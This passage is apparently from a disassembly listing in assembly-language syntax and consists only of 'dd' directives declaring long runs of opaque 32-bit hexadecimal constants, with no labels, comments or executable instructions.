		dd 7126AF73h, 2F17EE0Ch, 92517Dh, 4158DB1Fh, 331067EAh
		dd 6D1E4407h, 0A4205B15h, 0C089D366h, 0C888C958h, 46002F7Ah
		dd 0FA825DAEh, 2708DFh,	6F8C996Dh, 0A30BB435h, 1419E861h
		dd 9BEC5C6Ah, 598701B9h, 585B28Ch, 7120808Dh, 35067E12h
		dd 0F074168Fh, 8A270001h, 2ABD414Ch, 842C18C0h,	7CC50E83h
		dd 38DC3C02h, 1060FE3Eh, 195FFDE0h, 34988206h, 0E4582718h
		dd 0A2D803A6h, 0F00830F3h, 0E60E8ED0h, 0FBE8F678h, 283A8230h
		dd 600A968Fh, 2B1018C6h, 99CF5FA0h, 94063E58h, 39689A4Eh
		dd 170012DEh, 37228F41h, 0ED3042E0h, 5936A029h,	2580C827h
		dd 66A60CBFh, 986158B5h, 579907C3h, 0D6965A22h,	1A0018D1h
		dd 0A2AAA33Ah, 78775BB9h, 3C502816h, 578F0194h,	5C71E20Ch
		dd 0A580612h, 0B8A2942Eh, 0D9F00448h, 354A2033h, 42608015h
		dd 389EA330h, 0C4B7D0A8h, 6CD2D6E8h, 85B843A2h,	0C000CCCAh
		dd 2BD95B6h, 6A1201E2h,	188F34FBh, 43F18330h, 78EB2996h
		dd 0E104AFA9h, 83B38482h, 0CF17510h, 0AF70042Dh, 0C32305E1h
		dd 90009415h, 60AB2782h, 6445744Ch, 4E73290Bh, 0D8CF8095h
		dd 3260E42h, 7039F9A9h,	0C699222Dh, 9195F407h, 0C90FB7FCh
		dd 208CDDD6h, 0A8BCB3A9h, 17F000B9h, 59578677h,	3300444Ah
		dd 0C114FAECh, 0B99D07h, 747EF992h, 59C89847h, 1968DC00h
		dd 709AEABBh, 3490E7Ah,	0AF605B4Ch, 41E9ED0Ah, 0B973D300h
		dd 45D0F895h, 48FE6Fh, 3C7C6AB6h, 0FB220718h, 0F2249000h
		dd 987A7EB4h, 6ADF01F5h, 0A28DE92h, 0E709F48Dh,	948B7928h
		dd 66832A00h, 8C9C7DDBh, 4CB00070h, 0B1F9002h, 5175011Eh
		dd 19A7C93Bh, 22705FCEh, 0A05E0CAh, 0EB4B0771h,	200D1524h
		dd 1627DC46h, 0C40EF600h, 6B59A93h, 2BE63FEDh, 0BE796980h
		dd 0B01D9233h, 5D2AFB00h, 0C9AA661Eh, 683900CCh, 0B6373BC6h
		dd 27733C9Fh, 0E4FB6400h, 58C7A225h, 9992002Ah,	40E9EC11h
		dd 417F1E3Bh, 932E3C18h, 1CD9018h, 49E6A474h, 0F46AFAAFh
		dd 0BF09C121h, 835B1DBAh, 0B83D976Ch, 90056B10h, 0E4560014h
		dd 2B2A6393h, 0B90076B1h, 8444F308h, 0D6114Eh, 0A056A999h
		dd 0B559BC40h, 5E7C9C00h, 0EEAC6CFCh, 49C100CDh, 0F51020C9h
		dd 9D0021E1h, 0DFEDDEDDh, 0E30C3Fh, 36FA3762h, 0D42E78FBh
		dd 4D86AD00h, 0EB40538Eh, 0CC520298h, 8FEF2457h, 74330240h
		dd 48F0E201h, 76C3C43Bh, 0F256E80h, 6872850Ch, 0C6430303h
		dd 0C03F5722h, 1AFD9FDh, 0AE43290h, 0F02073CEh,	0A20E288Bh
		dd 201AC795h, 0AB0591B3h, 48E20AF9h, 96FC128Ah,	341F000Ah
		dd 6FB433D6h, 587A300h,	53556D14h, 0A7432CCEh, 0E47C0724h
		dd 0C050F49Bh, 0B7A0D849h, 0AB18F600h, 0FDF40B4Ch, 0F2AC0019h
		dd 67388B54h, 60006A27h, 0C58FCBFh, 0C0B30FB7h,	5E115B18h
		dd 0C734904Eh, 5180282Eh, 6026EF97h, 73C0102Ch,	3900B14Bh
		dd 0FAA93304h, 60CE9409h, 7AEBB08Eh, 0B9006D43h, 9D0436EAh
		dd 1D8CB838h, 0A870BD96h, 0BE930ED8h, 83A05161h, 7BABF5F8h
		dd 5F12DDE4h, 8400C4B4h, 759FCB25h, 55C540C6h, 3F3EC104h
		dd 0EF8742C8h, 0A3B7E9FEh, 0C092E124h, 3F205D7Eh, 3080AF19h
		dd 2C4E83F3h, 99007FA4h, 1AE8AA38h, 0F4A912h, 77A6EB54h
		dd 276F15B2h, 0C2CB6200h, 640E7BD5h, 20A81281h,	5D3C0307h
		dd 9580B2ECh, 0D3E2CCDh, 0ED8E0063h, 3E6CF4A4h,	9FBF00E6h
		dd 5FF15AABh, 393C8605h, 20141CC0h, 0D376CB40h,	2E8FBBh
		dd 1222FB5Ch, 434A6AB7h, 95DE6F00h, 2309CD2Ah, 3966E449h
		dd 0CEB93FBFh, 315EA080h, 0DBCC56EDh, 10E1DF2h,	520BE882h
		dd 3232A0h, 885FF8C3h, 2D247172h, 1198A309h, 1BDD00B8h
		dd 9B65B5h, 28315D27h, 478E3935h, 0D630792Fh, 5E20141h
		dd 800B1A68h, 35F6A118h, 283776h, 0F80CC045h, 0A682309Bh
		dd 24259115h, 3A223D88h, 58E480D0h, 44763A1Dh, 0F087B2Fh
		dd 559A7D89h, 0D46591A0h, 0FA000D29h, 4022A8A0h, 0B258C5h
		dd 0BD041611h, 9EB16664h, 0A1E75D09h, 0F3C400A9h, 0F8CEFCFh
		dd 0FF987F72h, 472848B9h
		dd 1370E0C0h, 5F003326h, 379A32D7h, 929C663h, 0AF8EF427h
		dd 80A1900h, 4600F099h,	2242BA02h, 606769B0h, 892D224Dh
		dd 0F67156C2h, 0EF003890h, 0E25C3436h, 0D3D7F3h, 0FCA51FB1h
		dd 788D7F17h, 0FE29A000h, 386E9041h, 87AA000Ch,	0C22F676Dh
		dd 70217BEh, 0EA62C124h, 7D64C8C5h, 6D720F78h, 0B1C79CF7h
		dd 776A5FD7h, 4A4800CCh, 0E3ABED38h, 0C0753212h, 0EB265B00h
		dd 7DFFE46Bh, 4F2A003Dh, 2F2C778Fh, 725C890Ah, 3A5900D7h
		dd 0D48A9DDDh, 3BE50ED8h, 0DF4029F1h, 9EA48C85h, 0DEA6DA03h
		dd 90B7752Ch, 0ECCC8923h, 9DE680h, 6D2FF1B0h, 20FD1710h
		dd 67DF280Fh, 0EDC0C039h, 16962DBDh, 40B6F515h,	528098C8h
		dd 30B04A79h, 0CE26BB00h, 9985390Eh, 5DFA68h, 7FF0D0F5h
		dd 601031D6h, 0B0913504h, 78801FFEh, 37B8073h, 0D75B558Ah
		dd 45F885BAh, 259F60Dh,	8FB81EF8h, 0B640BAh, 0A1A4BEF5h
		dd 16F8BCD3h, 6888140Ch, 80C2190h, 0A9A4030Fh, 8EC1E20Eh
		dd 60EE81B9h, 0BC502348h, 0C0B3F6AAh, 30B3AC1h,	0D2E73869h
		dd 60EDD560h, 392A9300h, 0BC5D7AAh, 0B578DBh, 5E44F831h
		dd 0D092FEF0h, 61303A75h, 0F40C382Eh, 0F9AA2802h, 13383E2Ch
		dd 10A11881h, 0C8D3C04Ch, 0B33ED1A8h, 84B1818Fh, 0F50D4691h
		dd 66897441h, 0CC106440h, 0F6EB0024h, 74FD6DCh,	3E3F81C1h
		dd 8FA40096h, 30FEB133h, 59F4138Ch, 57CA0047h, 0E1A18DD1h
		dd 0DDC360Fh, 6E24C0BAh, 0E61A1632h, 0A35C00B4h, 6226EEB9h
		dd 79CF0617h, 7CCC2028h, 18B1FB91h, 8E389B3h, 20C026F4h
		dd 0AFCCF6C5h, 1EDE1D91h, 7330CFD8h, 8C7FB283h,	81ADB100h
		dd 0A516F947h, 0E231924h, 80A60874h, 47894F21h,	7A1FACh
		dd 0AE677966h, 0C58B8A75h, 11640200h, 8F3514DEh, 98BF6E43h
		dd 8CF80824h, 68F87F34h, 0BB386301h, 0C3609103h, 21BD0898h
		dd 6800B776h, 0C1F65BC7h, 2CD3C61h, 4203485Ch, 0AC506AA6h
		dd 608524BAh, 9E60A1C4h, 38796216h, 0BB99B06h, 2192A4h
		dd 0FC55606Fh, 6E9422E5h, 99D8BD67h, 1F0BF810h,	50450A08h
		dd 91C09B5Dh, 0CCEC8060h, 8CCB9182h, 0C3210160h, 7ACCCF4h
		dd 55336424h, 0AEF68358h, 0D185F903h, 0F8423D9Fh, 14A968CFh
		dd 0A065230Eh, 0AA214C05h, 2EAC0124h, 20018047h, 4F0016D8h
		dd 0E6025F79h, 0CFEECEh, 0E3A9EC38h, 1B89C42Eh,	0B2B39900h
		dd 7F81208h, 11CB00ADh,	74EB2092h, 0E20C514Ch, 88CF6E0Ch
		dd 1DEE082h, 0EA52DDADh, 60122D2Bh, 5400FF4Bh, 5D5F37FAh
		dd 3D35CA2h, 36673A38h,	3CD0CDF0h, 0C008C11h, 0EF45DFCBh
		dd 105B5B6h, 53A6AD9Eh,	0C8746425h, 8FB83CE3h, 0C26CE400h
		dd 0C0507B4Bh, 0CB6D0334h, 9B38EBDCh, 0A356F3B8h, 47D52D1Eh
		dd 3BEC3701h, 0E7F530B0h, 410430A3h, 80440729h,	77703810h
		dd 74B9A36h, 61889F67h,	3E8E0042h, 50129E1h, 3813D2E4h
		dd 29906C32h, 67148253h, 84300E3Dh, 2F487031h, 2262DB42h
		dd 6522E34Dh, 0A09B226Fh, 28717023h, 22145179h,	97428575h
		dd 5164341Bh, 0A63C04FDh, 14285D83h, 51A21D33h,	8F290399h
		dd 7AE75F69h, 10C072EBh, 4938BCC6h, 0B0F27FFAh,	0A5632500h
		dd 0D7A251D9h, 966008Dh, 1A36DDCCh, 0D3EEF07Dh,	0D43B6900h
		dd 51B24EA9h, 0C02E00F8h, 2F5B13EBh, 25EADCC8h,	22167C00h
		dd 0F029310Bh, 9F78BCh,	876B285Ah, 5B4D787Fh, 5E157B00h
		dd 0BE8210DCh, 0D6BF04D4h, 0C54872E5h, 0ED080DEh, 0EE30B4E4h
		dd 1284416h, 1C9EEF7h, 878D3A86h, 803CA1D6h, 0BA916F92h
		dd 1F74C12Ch, 407B9B56h, 0FAAE3416h, 0A4016DBEh, 0BDAF6531h
		dd 4080BA30h, 0DF94C9CBh, 0A10038FEh, 93D0D6CDh, 0E0345Ch
		dd 0B584B623h, 26F7A061h, 82A99407h, 0DB4046FDh, 9D89836h
		dd 3487B5D9h, 0E4C0CB00h, 8D01AFB9h, 0AA2BFEBFh, 38248E66h
		dd 4DA100F2h, 0DF78E932h, 9C3CEAD4h, 948003B5h,	0A8FD410Ch
		dd 0C30F0Eh, 0B6073C44h, 966A256Dh, 0B28FC81Ch,	2935BEC0h
		dd 16550C0h, 6FE0E2D5h,	0CCFABD22h, 68C0EA58h, 0B6BB535Ch
		dd 9EC300C2h, 4F642DF9h, 89075809h, 63B8979Fh, 1B11006Bh
		dd 14F93BDAh, 0C03DE087h, 0AA6D4201h, 0F02086C5h, 80F36777h
		dd 5A10C118h, 15CEA9Fh,	48EDFA9h, 70DAFE3Ch, 1D0EA825h
		dd 0EC6BDDC8h, 38E301Ah, 3A3C3065h, 1DA08126h, 0C200AEEEh
		dd 9A83F444h, 9388F7h, 3EF11C86h, 0A2FF46CCh, 200F6300h
		dd 0BF0BA811h, 68150040h, 14836B62h, 0DE00CA2Fh, 37194E12h
		dd 1EE89703h, 3B5CD8BAh, 32983509h, 0D51BE400h,	87047B0Bh
		dd 0BCA65F0Eh, 25DCDBC0h, 77E006Ch, 3ACDC15Ch, 0E600FD2Dh
		dd 8DC2116Bh, 26916121h, 3DD29Dh, 30AFBC56h, 2E12B8F6h
		dd 6C00EDB5h, 0FCF8E77Fh, 23D91836h, 0AE89E83Eh, 416CE300h
		dd 7BB8E813h, 0A18B39BAh, 4F6021E1h, 0B2F7606Bh, 4731DA07h
		dd 13A4ECD6h, 23159090h, 135000Dh, 0D256EDFEh, 0C900FD51h
		dd 39D1F54Eh, 30445024h, 765114E4h, 5200ACA9h, 366B1BFFh
		dd 48F7E322h, 3004CFBh,	8A2751DDh, 0E50020C0h, 1FA42B85h
		dd 5CD990E0h, 0FC7F2025h, 8DD8012Ah, 0EA398945h, 5EB3E4A2h
		dd 0FF541403h, 0DC93B0B8h, 80C15A80h, 9C7800D0h, 83AA2C22h
		dd 64904F03h, 0C480575Bh, 77884204h, 37A7BEEh, 4C4AD0E2h
		dd 37F87B6Eh, 0EC18B6C0h, 1918B846h, 7393008Ch,	63F466D4h
		dd 0F5608DB1h, 7212B5B8h, 0D829009Eh, 8EA458E2h, 8C006F88h
		dd 401B4FC5h, 6408CBh, 0EDC2A066h, 2A4CDE32h, 3E2C9B38h
		dd 0C1C70077h, 0F6EED8C3h, 743524D1h, 42A00084h, 99645DD7h
		dd 32C73Eh, 3C879DEh, 0ED267B4h, 6318FED5h, 74164A80h
		dd 410047E2h, 7117F28Ah, 1D2215C9h, 0C764E6A6h,	50E10BC2h
		dd 0AF34E0BFh, 0CFF5560Bh, 949380ECh, 1BCD847h,	9CE86858h
		dd 30A0E26Bh, 0FA3E012Ch, 0CB570556h, 0EA00528Dh, 0F80205D0h
		dd 0A01901E3h, 23908BD9h, 96C03BABh, 374565Dh, 4B3DB8A8h
		dd 4800CED6h, 0A25CD215h, 381DA18h, 0CD68B905h,	21C807D4h
		dd 0ABA0A784h, 0BE006DD1h, 175C1285h, 505D5128h, 9A5D1CAh
		dd 0F42D714Ah, 0A9EF5780h, 3200FB8Eh, 8485C609h, 3DB6F94h
		dd 8641351Dh, 83884C5Dh, 0A70ABD07h, 0FC0FC4B6h, 89A39889h
		dd 0B11B8060h, 9674D6h,	94764C2Fh, 7C13A0BBh, 367F0100h
		dd 0DCD58AE0h, 0D48B06C7h, 7EE540BAh, 9D00E17Dh, 34B847A4h
		dd 16B3839h, 0B74159FAh, 64CCEA8Ah, 0B41D97CCh,	14895649h
		dd 0D4FC80E6h, 75DCB5ECh, 1568000Bh, 0CCC26A9Ah, 58007A45h
		dd 0FC418DF8h, 184F5304h, 98CDC35Eh, 6C1E5DC6h,	3540A1E1h
		dd 8E7323F3h, 9BEF05C4h, 0C0B23E6Dh, 228CC9CAh,	4BF18603h
		dd 0E0A4AA1Ah, 5101FD4h, 7BB924DBh, 98E780B8h, 0B40267C2h
		dd 2E865211h, 5F5840FAh, 0B9D10F87h, 23409CBCh,	0D447BF29h
		dd 5C7E3400h, 88CB02ADh, 8780005Eh, 0B0B98497h,	5B001AAFh
		dd 8FE6BB09h, 0EA73E338h, 1C711FADh, 844754DEh,	4B88A28h
		dd 68573A4Eh, 0AA0C099h, 281E5039h, 803A91B4h, 66694DE4h
		dd 0BB8EC3h, 0E840A0FAh, 0C40A99B1h, 789DD52Eh,	47C89C82h
		dd 702840CDh, 4933F6ECh, 0F90430B7h, 80B61194h,	8BDAA7D4h
		dd 3FCF8A00h, 61BD1485h, 44A2501Eh, 0DCE641BCh,	1C10034Ch
		dd 3001C5C0h, 1F423D71h, 8EAD00CAh, 7FC490DEh, 0FD0F00C9h
		dd 0B84F2441h, 27016A98h, 3E4D2694h, 4080B4DEh,	2C5D3304h
		dd 0FA72EB39h, 0FE532700h
		dd 93A30F82h, 48000E9h,	7877DAAEh, 0AA385551h, 0F3648019h
		dd 845810B3h, 0BA5200C8h, 0F244957Dh, 0FC001E0Ah, 0ECD0918Eh
		dd 1D703324h, 5D297BFEh, 89C64010h, 7995A9ABh, 9E008590h
		dd 96A19499h, 71FCA3h, 0EBE03AC5h, 0D5DEC349h, 252C1E72h
		dd 2801582Dh, 7E51E5A1h, 6EC4F8DFh, 31680A7Ch, 7DC4521h
		dd 3084EC3Eh, 0BDAA312h, 0C8F1D00h, 3A466EDDh, 57C58ABh
		dd 0B4078709h, 4B0F0Ah,	0A2F525CFh, 4900349Fh, 998972D0h
		dd 1C8752FEh, 82E55426h, 0BEBDB7EAh, 1D03F0C8h,	3F01517Ah
		dd 0F4DE135Ah, 0E464E982h, 54967B4Bh, 0C938F0D1h, 0F00164BAh
		dd 82A4A1CBh, 7B5EF19h,	16A848B8h, 34F32D47h, 0B7005876h
		dd 0DF72C430h, 421903E6h, 4368C1AEh, 0EDADF2A0h, 1A40DE16h
		dd 5EE32802h, 6DE84072h, 85380704h, 0B0FFD423h,	0A9E39A0h
		dd 0E6077528h, 4FB0D7F0h, 4A71E4Ch, 76EDC685h, 0D0545091h
		dd 0BE6D20h, 0CA0D3C9Ch, 4760A69Dh, 70B6FD0Fh, 0D0D762F7h
		dd 0F2EC4012h, 55433B5Ch, 0D2DF7584h, 0F97488FAh, 22E8A109h
		dd 536820ADh, 33B5765h,	0B8ABDAD6h, 0F107B330h,	262A4681h
		dd 1AACF127h, 9DA515B7h, 1D00B0BAh, 0FC0ED2CCh,	9F5C6781h
		dd 0C468509Fh, 0A12AEE00h, 25DA4598h, 0CD990169h, 7BD0375Ch
		dd 6EEB20C6h, 0F6A2D700h, 338E27E1h, 0DE9E002Dh, 0F1AD5D03h
		dd 0DA007218h, 0B7751E40h, 0B0BA38B5h, 2D3162Ch, 1BFC2021h
		dd 98C3956Ch, 9814BA5Dh, 3826BEF0h, 73E627h, 49806A4Ch
		dd 1423EA4Bh, 210735EAh, 2AFB959Fh, 24EECFA0h, 3E550122h
		dd 7C05BF4Ch, 0E6A1EC88h, 880BA52Ch, 3E88195h, 0D54693D7h
		dd 7B98F1D2h, 9C8018D1h, 267DDEA3h, 0A005E74Fh,	0C6224025h
		dd 6AC1DF80h, 899B00D9h, 4CD9662h, 0F70094D6h, 2B1CF95Fh
		dd 7D05D2Dh, 62D7D4DFh,	0B5CD8018h, 4400817Bh, 4AFBD570h
		dd 0E31A26h, 47C7887Dh,	0DF5846F7h, 0BA51F200h,	0F4297CC9h
		dd 92EB00F8h, 888F2108h, 63003BA8h, 98097D97h, 0DC0410h
		dd 0E29D32A9h, 0D28ACAE9h, 30935530h, 59EE87h, 325EEBE1h
		dd 0ADB883E6h, 0D599B500h, 437FE786h, 9B3303C0h, 9206DFE0h
		dd 4009CEB0h, 0BBAD8306h, 3F48A532h, 0D009CBD2h, 0F0045177h
		dd 10CCC86Ch, 7E8823Dh,	6A610649h, 7555CAA7h, 5DDFDC40h
		dd 7BA97955h, 4975BBh, 0CECA5ACh, 1A4D0B3Dh, 35CF026h
		dd 7C1C6F01h, 78E43703h, 0B66E0704h, 909FC9CCh,	0BCD1935Eh
		dd 1D06D700h, 68CFCB67h, 55FA42h, 0E3B7B9B6h, 27D0A399h
		dd 0D225Ch, 1507C384h, 0FF58BEh, 0D9D3DA71h, 5F5C649Dh
		dd 0E52E8F01h, 977D554Eh, 0A7C2DCh, 92F8AE61h, 0FA88E270h
		dd 1C908A7Ch, 1F4C280Fh, 54D2045h, 58E4A6h, 0AA9169C2h
		dd 36F73906h, 0FD555A00h, 0B2719E54h, 0B944003Fh, 5BC8CBA6h
		dd 600D994h, 0F4747AB5h, 3B3F0F32h, 7B033331h, 0AFC43698h
		dd 506646E0h, 60064998h, 317ADCB0h, 84920119h, 88484AB3h
		dd 17EC8F2h, 74AA4F00h,	2270E4C3h, 0FCE53F65h, 56C1288Ch
		dd 9201168Ah, 47C06CEDh, 99D46EC2h, 0BB7B0010h,	0D61AE0D5h
		dd 0F302520Eh, 7E58D7FCh, 49B0E080h, 1849C75h, 7FE1B1C3h
		dd 22F8DF4Ah, 7C008AC1h, 575B5985h, 71B8D0h, 723623D2h
		dd 0E535E40h, 0E2780809h, 86F46098h, 3D03BD3h, 0E15D6300h
		dd 2B57F083h, 9426F907h, 8040A59Ah, 791177h, 0BF230BCFh
		dd 131D6542h, 1F17EA03h, 0B04CC325h, 0FCE9C8Ch,	0D7F4AF9h
		dd 0F172A740h, 2F00740Eh, 304580C8h, 50B78753h,	3935F61Ah
		dd 59015762h, 4BE1CBCEh, 7398301Ch, 0A2647000h,	0D2253005h
		dd 0FD2950BEh, 0E2BF0050h, 69E5A6DBh, 781DAD70h, 0B7C07774h
		dd 0DFCE0434h, 572300B4h, 39998873h, 0FA185B67h, 13A024AFh
		dd 0B3400704h, 0F0504103h, 7061C23Dh, 0FBC02800h, 0DC6296C8h
		dd 0F8931ECAh, 580EB90Eh, 544078E9h, 96153648h,	0F0B69100h
		dd 0F25717CFh, 0A57295h, 43402C09h, 0E534CEE8h,	50EAA30Fh
		dd 3E3A606Ah, 0F3C235h,	56136E6Fh, 20376253h, 0A028740Bh
		dd 90042499h, 0C2D9A4CDh, 0A2E9F100h, 0D484712Ah, 0E4A1F524h
		dd 0EAC05F9Ch, 1FDAB286h, 784400FFh, 30D8AB9Eh,	6E179C65h
		dd 7C1480DEh, 0BECD1548h, 965700C0h, 6F76F8A1h,	0D731813h
		dd 0FAAE809Ah, 0DA026A7Ah, 11826B2Eh, 3A84E07Bh, 62CB00A1h
		dd 0C728DE70h, 9B7021F0h, 8E055C9Eh, 0E0D739C4h, 62B30B30h
		dd 0ADEC00CBh, 0CABC44D5h, 6013E650h, 8A01953Bh, 0E142BE7Ah
		dd 167B6864h, 40D75B46h, 43C297Ch, 0ED141F31h, 80CF21h
		dd 0B7D8E2FAh, 0E7AD66Eh, 0AE593871h, 0E541F640h, 73003F8Eh
		dd 0AF04423Eh, 76012ABh, 9EFB1746h, 0C0BF37E0h,	0DDD702FDh
		dd 743FD600h, 0AF161C0Ah, 48C71E05h, 0B7E808Bh,	7CDB616Ch
		dd 890F50F0h, 0E04E7609h, 0C34697ECh, 0F9E7005Ch, 4285CECAh
		dd 9F009424h, 8441D53Eh, 766F40B5h, 0A0781455h,	0A300E43Ah
		dd 0AF9303EDh, 0BE005346h, 0F5905944h, 376A42Dh, 0C5B9E41Fh
		dd 6ED09552h, 0BA762943h, 8A78F900h, 4DBBE965h,	0A794125Eh
		dd 25760028h, 0C02F05BDh, 10712714h, 0A2AA84E4h, 3DEE4300h
		dd 0B2809730h, 0A37E1616h, 142AF0FEh, 4DD7703h,	0F0EFAD5Eh
		dd 903CDA74h, 873E1ED4h, 4B548034h, 1CE5A072h, 8F8DBD39h
		dd 0E13D26F7h, 28B9D990h, 1E489EEh, 0D0D2672Ah,	7D61D60h
		dd 0C5C2C899h, 0D26FC570h, 13C012D0h, 0FD02C913h, 20729660h
		dd 5DF0A0BBh, 3E4780h, 981E1AC8h, 0F8467F44h, 0B095D63Bh
		dd 0DFF34074h, 0E4F4756Ch, 0B1640327h, 5830E0B6h, 3B0B20F0h
		dd 91C14F01h, 678EA98Ch, 5C92B130h, 5503E56Ah, 0A6594D6Bh
		dd 48D8B7C0h, 0A2C17E07h, 1ED0DA86h, 0B3A496h, 618D90A0h
		dd 708E5376h, 3B354B01h, 3C5C3043h, 0B93C70h, 0BF9DF51Bh
		dd 8898471Fh, 1686D400h, 3E1CEEE1h, 0A08A00FFh,	670882AFh
		dd 7D09C8C3h, 20E935C6h, 18DE3CE4h, 0A68A00E4h,	704124C5h
		dd 860F9815h, 932F99F3h, 873F7003h, 8DBCC866h, 0FE1000DCh
		dd 0EC2A8F51h, 0E226E59Fh, 2300A3A3h, 1C2E223Ah, 77B5005Eh
		dd 0C161DED9h, 1BEC2FB1h, 94119E30h, 1E9B0445h,	80B76D05h
		dd 0AB217872h, 5900DE7Bh, 0B6E47361h, 0B054719Bh, 228907D2h
		dd 47FBD89Ch, 0F1D23131h, 95C0EF4Dh, 3418D982h,	0C2600B0Eh
		dd 0A52425A6h, 12F08C80h, 0B400AD47h, 8581F669h, 57E82Dh
		dd 22978352h, 0F38ACC25h, 1E1AC639h, 0F2C37204h, 0F8A7C159h
		dd 0B8ECE599h, 1F40E01h, 9440FB91h, 5F34E0B9h, 86052513h
		dd 5912D8D2h, 0B53D00E0h, 562344CAh, 45012F0Eh,	90C3E7C5h
		dd 80D3E5A0h, 0D9A20099h, 6992D58Bh, 0E3B25A7h,	6C3F7CFCh
		dd 0D87D011Eh, 91F64846h, 0BC95F0h, 0F9CB9A1Fh,	2EAA26ECh
		dd 0B085971Fh, 10272F0Ch, 93CC00D2h, 0F973FBA8h, 9C00EC77h
		dd 46AC4C09h, 30BE02DFh, 9948A7AEh, 84F498D0h, 8024FC39h
		dd 824AC00Ch, 1F79F14h,	4750A6B7h, 21BC4175h, 0C2E84510h
		dd 0E1E09BB0h, 0ED3D8744h, 3FFD0014h, 4CEAA5E3h, 4E9C0979h
		dd 0CC248456h, 0EC21C0C0h, 0AC073C0Bh, 972CF6C7h, 188809B0h
		dd 7AD090BBh, 0BCB8127Ah, 98B84437h, 0FDB4D06Fh, 0E409705Dh
		dd 0CE2DE8h, 266A6CA8h,	0AC981D65h, 275B001Dh, 10F9E2Fh
		dd 702F401h, 0DDA9D9FFh, 0EE4FC40h, 0B8C1004Bh,	8845FA65h
		dd 7B00EC39h, 0E69B6F57h, 1C8ED829h, 8016C2F7h,	0E936E08h
		dd 6300BE7Eh, 0F8D18D3Dh
		dd 1220BA51h, 0AD794FFh, 1EFCB2F8h, 0CF4180F3h,	9A56FAEEh
		dd 54C5710Ch, 0A8C0B5h,	3D1109EDh, 0E6742634h, 2B9FF406h
		dd 0E206B8Ah, 0D94D4E50h, 0B6C8D443h, 75018FD8h, 684C1FECh
		dd 80ED2C9Fh, 2F8DCA00h, 28CD6DEh, 268EA295h, 0EBC0147Fh
		dd 491EFE34h, 2100AF15h, 0A6C709F7h, 5E100D3h, 94C2D859h
		dd 540786E8h, 8C4BADA0h, 0A8C37F70h, 104C1C84h,	9C003A37h
		dd 669022Eh, 91727CDh, 0A800DDDAh, 5D6515F1h, 80860E7Ah
		dd 54E70C83h, 0F57A4Eh,	2C7F1158h, 9900ED4Ah, 0FE37A2DAh
		dd 268A34h, 2894275Ch, 92815661h, 0C000F37Ah, 9F4E4382h
		dd 0BD01BFh, 0C42221FAh, 231D6FF7h, 168AB70Bh, 7D48408Fh
		dd 0ADF1012Dh, 0F94AC68Ch, 0C86C81h, 0A5E41166h, 11A7299h
		dd 2621494Dh, 302A4ECAh, 73003C4Ch, 0E90275FDh,	0D2EA4Bh
		dd 0EB0D9313h, 0DA21A75Eh, 6B7F3000h, 9DA2B971h, 0BF8D170Eh
		dd 0B1CC14Bh, 0DBA3124Fh, 29E303B8h, 0C8B82A90h, 0AB2DD832h
		dd 95C081FFh, 8F42E62h,	0A4E9008Dh, 2B675119h, 7D7DB22Dh
		dd 0FCEECC00h, 0DCA838F4h, 919400C7h, 0D517720Ah, 1CB0CA58h
		dd 0AEA1B304h, 7C075E3h, 0C0CBE65Fh, 5E2E4518h,	7A051037h
		dd 0BC38B6BAh, 0C1D32CC1h, 1F1E3DCCh, 0C0A8A4B0h, 112E876Dh
		dd 59706598h, 0F495F30Fh, 0D4B101E3h, 2DC884C5h, 3CCF00D9h
		dd 0F536798Ah, 14063E9Bh, 4E88992Bh, 89CA00F8h,	406DE2F1h
		dd 2CF8AF36h, 5A804800h, 684F95E1h, 1CA303CCh, 2E6691DDh
		dd 8973CFF0h, 3249770h,	161FD198h, 0AF5AADC0h, 0B832A4h
		dd 5BEA541Dh, 0B9537A71h, 70031F2h, 0CFFCC3B0h,	249BED3h
		dd 0D264A875h, 0F4A04AD1h, 0A2516AF0h, 767B5400h, 2AE66CA7h
		dd 7887005Ch, 53FC5FAEh, 0B700AC95h, 7A349EBBh,	50ECEEE2h
		dd 76790D2h, 9899CDD4h,	9DE08F0Ch, 2DFE4735h, 2340448h
		dd 2CF49AC7h, 4E78C063h, 3C349CDCh, 2C9005A4h, 0CE8F0019h
		dd 629ABB53h, 0F30009F8h, 26C72F61h, 51227h, 0ED6C7749h
		dd 0D821D9C5h, 8BF9C402h, 40BD3565h, 785F0Ch, 5E1A62CCh
		dd 0ACB54F69h, 1134C0E7h, 5DB2CE1Fh, 0B68328F0h, 382F3078h
		dd 1FA995F8h, 20B7F00h,	52355C0h, 57610037h, 0E9B9B2B6h
		dd 0FC003A04h, 0D8736AEDh, 7F9A16h, 7B4F6CFDh, 0D7A8CDA5h
		dd 0DCBEA07Ch, 0B03B2D80h, 30B7FBh, 1F3FC4ECh, 225458C2h
		dd 5C600E00h, 778FCF3Bh, 0CE180233h, 243C8BD3h,	0DC1D3C79h
		dd 0BE961C40h, 3AD64643h, 5C00C43Bh, 7E1D2738h,	0E3002C33h
		dd 2AB4906Ah, 7D8ADB0Ah, 6576073Ch, 0C084250Dh,	0CC460B5Dh
		dd 530FB607h, 9EF0598Ch, 2530133Eh, 1087C89Ah, 22B1500Ah
		dd 0F63E80AFh, 86C07EFh, 56A09AC1h, 0DA88Eh, 0D19B5B63h
		dd 8F07EFA6h, 5849B302h, 605743BFh, 3F9C55BAh, 64841A6Dh
		dd 80E477F2h, 0BAB11B40h, 1E34C08Ah, 34B289h, 9BF9825Fh
		dd 750C0ACDh, 2215E100h, 0C913FDAEh, 0FCF0094Bh, 0C80041EFh
		dd 0A6CC8C92h, 80533Ah,	0CA0D56A7h, 6CB509h, 2832DAE1h
		dd 0D8D9AA57h, 6ADCAE00h, 989F9CEAh, 0C4DD4852h, 78712E73h
		dd 79F3908h, 3FB7C082h,	4D384C4Eh, 0DFCC0600h, 0F5306B20h
		dd 59310224h, 4A485583h, 78B04DC3h, 3581653h, 0CF240E0Ah
		dd 0C8D861B5h, 0E8D88680h, 1BB30E91h, 0F26052C0h, 4C5B4211h
		dd 0D39E6C00h, 5C9C3EB0h, 0FE3A0056h, 0E9674D37h, 4F12B2E2h
		dd 0B40EFD04h, 81626050h, 30B38293h, 731A159h, 0C601AEE3h
		dd 0C40AA7C0h, 0CD40EF54h, 9735AFF1h, 0F2C3F000h, 0C9092F17h
		dd 6EB77Fh, 3F45486h, 560E0018h, 0B5AA789Dh, 5BB04E14h
		dd 0EAB8B400h, 878F7D74h, 0F2F800FEh, 0E6963F22h, 0CC126FA0h
		dd 0C034DB7h, 0C19C3320h, 119036A9h, 4184114Bh,	71532Eh
		dd 3E90AF2Ah, 880FC9E1h, 606CA6ADh, 9CA8DE78h, 13A8C036h
		dd 0BCCF7C18h, 733DDCE8h, 54DE3E3Bh, 0E2609D34h, 1317E811h
